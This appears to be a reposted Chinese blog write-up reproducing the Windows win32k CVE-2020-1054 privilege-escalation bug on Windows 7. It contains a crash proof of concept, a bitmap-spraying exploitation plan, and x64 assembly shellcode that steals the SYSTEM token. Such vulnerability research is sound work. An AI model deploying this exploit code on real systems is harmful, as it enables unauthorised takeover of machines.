CVE-2020-1054
Posted dreamoneonly
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2020-1054相关的知识,希望对你有一定的参考价值。
CVE-2020-1054
测试环境
Win7 x64 SP1
前言
此次漏洞复现是对《CVE-2020-1054 Analysis》这篇文章的理解与实践,由于这篇文章对整个利用过程阐述的非常详细,因此本次分析报告主要记录一下在复现时遇到的一些问题。
具体分析
- 通过运行
POC
,在windbg中断下,可以发现漏洞点在win32k!vStrWrite01
,在NT4
中发现有这个函数的源码,可以辅助我们分析理解。
int main(int argc, char *argv[])
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR‘s original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, 0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
return 0;
}
- 根据上图漏洞点,可以看到访问异常发生在读取
pjDraw
处,从下图源码可以知道pjDraw
肯定是指向SURFOBJ->pvScan0
区域的,这个函数就是对这块像素数据进行某种填充,而这个访问异常地址明显超出了这个SURFOBJ
对象的像素区,因此这是一个OOB
类型的漏洞。
- 现在的重点是如何精准控制这个
pjDraw
的值,在IDA中观察可以发现在这个while
循环中,pjDraw
每次增加SURFOBJ->Delta
大小,而SURFOBJ->Delta
又是由CreateCompatibleBitmap
的第二个参数cx
控制,根据文章中描述可知lDelta = cx / 0x8
。 - 从上图可知在
while
循环中对pjDraw
读取写入的次数由win32k!vStrWrite01
的前两个参数控制,当pxrl != pxrlEnd
时循环就会继续,通过动态调试可以发现,循环次数是由DrawIconEx
的第三个参数控制。
- 有了以上基础后,我们来看一下《CVE-2020-1054 Analysis》文章中的利用思路,
1. Allocate a base bitmap (fffff900‘c700000). 2. Allocate enough SURFOBJs (via calls to CreateCompatibleBitmap) such that one is allocted at fffff901‘c7000000. 2.1. A second is allocated directly after the first. 2.2. A third is allocated directly after the second. 2. Calculate loop_iterations*lDelta such that it is equal to fffff901‘c7000240. 3. Use OOB write to overwrite width or height of second SURFOBJ‘s sizlBitmap. 4. Use SetBitMapBits with second SURFOBJ to overwrite pvScan01 of third SURFOBJ. 5. Arbitrary reusable write is now obtained. 6. Typical EoP overwrite process token privileges and inject into winlogon.exe.
因此我们需要选择合适大小的BitMap
进行喷射,让其中一个对象位于fffff901‘c7000000
,作者提供的代码中是通过CreateCompatibleBitmap(allocate, 0x6f000, 0x08)
进行的喷射,我们进行一下简单的计算:
cjTotal = (((cx * cPlanes * cBits) + 15) >> 4) << 1) * cy = 0x6f000
pool_bitmap_size = PAGE_ALIGN (cjTotal + sizeof(surfobj_header) + sizeof(pool_header)) = 0x70000
通过测试选择大小为0x7000
的BitMap
对象进行喷射可以成功申请到fffff901‘c7000000
地址
现在需要解决的最后一步就是找到特定的DrawIconEx
的arg1 arg2
,来使得pjDraw
的位置刚好等于surfobj->sizlBitmap
的位置,从而修改位图的大小,使得可以通过GetBitmapBits/SetBitmapBits
进行越界读写,由于我们已经在上面解释过DrawIconEx arg1 arg2
和漏洞函数的关系,因此可以很容易的理解下面这段python
脚本(脚本来自《CVE-2020-1054 Analysis》)
至此我们已经确定了如何填写DrawIconEx
的参数来越界修改BitMap
对象的大小,提权方式则是采用替换tagWND.bServerSideWindowProc = 1
窗口的窗口过程函数。
public WndProc_fake
extern DefWindowProcW:proc
.code
WndProc_fake proc hwnd:dword, msg:dword, wParam:dword, lParam:dword
mov ax,cs
cmp ax,10h
jnz return
pushfq
push rax
push rdx
push rbx
mov rax, gs:[188h] ;CurrentThread
mov rax, [rax + 210h] ;Process
lea rdx, [rax + 208h] ;MyProcess.Token
noFind :
mov rax, [rax + 188h] ;Eprocess.ActiveProcessLinks
sub rax, 188h ;next Eprocess struct
mov rbx, [rax + 180h] ;PID
cmp rbx, 4
jnz noFind
mov rax, [rax + 208h] ;System.Token
mov [rdx], rax
pop rbx
pop rdx
pop rax
popfq
return:
mov ecx,hwnd
mov edx,msg
mov r8d,wParam
mov r9d,lParam
sub rsp,20h
call DefWindowProcW
add rsp,20h
ret
WndProc_fake endp
end
效果演示
参考
《https://0xeb-bp.github.io/blog/2020/06/15/cve-2020-1054-analysis.html》
以上是关于CVE-2020-1054的主要内容,如果未能解决你的问题,请参考以下文章